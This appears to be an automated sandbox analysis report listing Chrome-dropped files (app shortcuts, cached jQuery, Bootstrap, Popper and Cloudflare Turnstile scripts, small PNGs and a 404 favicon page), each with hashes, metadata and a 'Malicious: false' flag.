MD5:	595D35B551FE85BD54E8B724B6CB0395
SHA1:	796AE93A1C53D327DBA4622F940D1385442DBF73
SHA-256:	762A11CB55C9EB5554C41DFCBCA069CACDDB29060340AFFDF12021D85C80EB88
SHA-512:	43054FE3B0356B3DC8761B945CAC9386F7F39389B7ACECB8EAD6EA10B0A9CD1DC8A92A14C956D1FC90ED6AA6DE1E5053493718290107CD7F84ECFD5996480744
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......qZ;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ItY.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYQu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYQu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYQu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYSu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 13:42:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.981813519844676
Encrypted:	false
SSDEEP:	48:8B0dsTQUIHMWidAKZdA1dehBiZUk1W1qehiy+C:8B7Hf9Cy
MD5:	C8737A4BCD19BD136AE6109C6DBE1819
SHA1:	A655B94E3F2331E6F214768EC567F3A367D33EAB
SHA-256:	6A0A6D083015AEDA37EE39C77A3AC2E992AF0BB8F93AC73934205E87EBF39684
SHA-512:	D6FD578494078B5127F9B9378FFFA208448DF06C96206B0AC139919E1AB2507A0682D127465EF93DFDFB757055F9DA04CC3273062F1BC940CEF3C65D172B42C5
Malicious:	false
Preview:	L..................F.@.. ...$+.,....39.qZ;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ItY.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYQu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYQu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYQu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYSu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 13:42:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.990167309923696
Encrypted:	false
SSDEEP:	48:8PX0dsTQUIHMWidAKZdA1duTeehOuTbbiZUk5OjqehOuTbEy+yT+:8P7HjTfTbxWOvTbEy7T
MD5:	77E8211DCDC49833C215666DADDD3156
SHA1:	CD1E88D16B734A99F9FCF80ADC74F1240F3F21BB
SHA-256:	68225FEF34198F3472E8E1B7E4F170DBEB840F59BF6308C7A7A0C713C7BCBF9D
SHA-512:	E7E3E5B45AAAA78BB712DD284B578F9AD6DE4E84D64D9F94D787A5BFE4643D1B745CB2C235314036A796126C7F2370EA9503ACCDABF3562ED970F1CC988081FA
Malicious:	false
Preview:	L..................F.@.. ...$+.,......pZ;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ItY.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYQu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYQu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYQu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYSu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47671)
Category:	dropped
Size (bytes):	47672
Entropy (8bit):	5.401921124762015
Encrypted:	false
SSDEEP:	768:OeCtueCACDHsEW8tZunqu5TTfjdTdWm54gEnih4A2WibLXKUEn+V1Kgbdfi0Vdua:OvXmHFW8tZuquNP54VnKJ3UEsnpj
MD5:	B804BCD42117B1BBE45326212AF85105
SHA1:	7B4175AAF0B7E45E03390F50CB8ED93185017014
SHA-256:	B7595C3D2E94DF7416308FA2CCF5AE8832137C76D2E9A8B02E6ED2CB2D92E2F7
SHA-512:	9A4F038F9010DDCCF5E0FAF97102465EF7BA27B33F55C4B86D167C41096DB1E76C8212A5E36565F0447C4F57340A10DB07BB9AE26982DFFF92C411B5B1F1FB97
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function g(u){Ht(l,o,c,g,h,"next",u)}function h(u){Ht(l,o,c,g,h,"throw",u)}g(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47671)
Category:	downloaded
Size (bytes):	47672
Entropy (8bit):	5.401921124762015
Encrypted:	false
SSDEEP:	768:OeCtueCACDHsEW8tZunqu5TTfjdTdWm54gEnih4A2WibLXKUEn+V1Kgbdfi0Vdua:OvXmHFW8tZuquNP54VnKJ3UEsnpj
MD5:	B804BCD42117B1BBE45326212AF85105
SHA1:	7B4175AAF0B7E45E03390F50CB8ED93185017014
SHA-256:	B7595C3D2E94DF7416308FA2CCF5AE8832137C76D2E9A8B02E6ED2CB2D92E2F7
SHA-512:	9A4F038F9010DDCCF5E0FAF97102465EF7BA27B33F55C4B86D167C41096DB1E76C8212A5E36565F0447C4F57340A10DB07BB9AE26982DFFF92C411B5B1F1FB97
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/22755d9a86c9/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function g(u){Ht(l,o,c,g,h,"next",u)}function h(u){Ht(l,o,c,g,h,"throw",u)}g(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 60, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPloDtlfKN8kxl/k4E08up:6v/lhPiQN8k7Tp
MD5:	129A1958303E467A43BBF5BBE01DEBDC
SHA1:	734581588EAF87850E38F585E864310D56534E52
SHA-256:	90A6A6D6CC6E6DD9233CBC51AF86CE8E98199C9EEE93EF085E221224F60CAA36
SHA-512:	2DC05C22B169A8C268F8DDF98C266E12FAD87DBBAD065F6D6D708120CFF98A0DC12086AF5A89EED02FA4E0507C958DE6EA567879B57213EC6665FC750690CED2
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8e5935826bf00f3e/1732113776134/h6nWbmYreyjn9Wt
Preview:	.PNG........IHDR.......<.....2..#....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 60, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPloDtlfKN8kxl/k4E08up:6v/lhPiQN8k7Tp
MD5:	129A1958303E467A43BBF5BBE01DEBDC
SHA1:	734581588EAF87850E38F585E864310D56534E52
SHA-256:	90A6A6D6CC6E6DD9233CBC51AF86CE8E98199C9EEE93EF085E221224F60CAA36
SHA-512:	2DC05C22B169A8C268F8DDF98C266E12FAD87DBBAD065F6D6D708120CFF98A0DC12086AF5A89EED02FA4E0507C958DE6EA567879B57213EC6665FC750690CED2
Malicious:	false
Preview:	.PNG........IHDR.......<.....2..#....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	196
Entropy (8bit):	5.098952451791238
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezocKqD:J0+oxBeRmR9etdzRxGez1T
MD5:	62962DAA1B19BBCC2DB10B7BFD531EA6
SHA1:	D64BAE91091EDA6A7532EBEC06AA70893B79E1F8
SHA-256:	80C3FE2AE1062ABF56456F52518BD670F9EC3917B7F85E152B347AC6B6FAF880
SHA-512:	9002A0475FDB38541E78048709006926655C726E93E823B84E2DBF5B53FD539A5342E7266447D23DB0E5528E27A19961B115B180C94F2272FF124C7E5C8304E7
Malicious:	false
URL:	https://abbcc.appforconstruction.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.</body></html>.

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
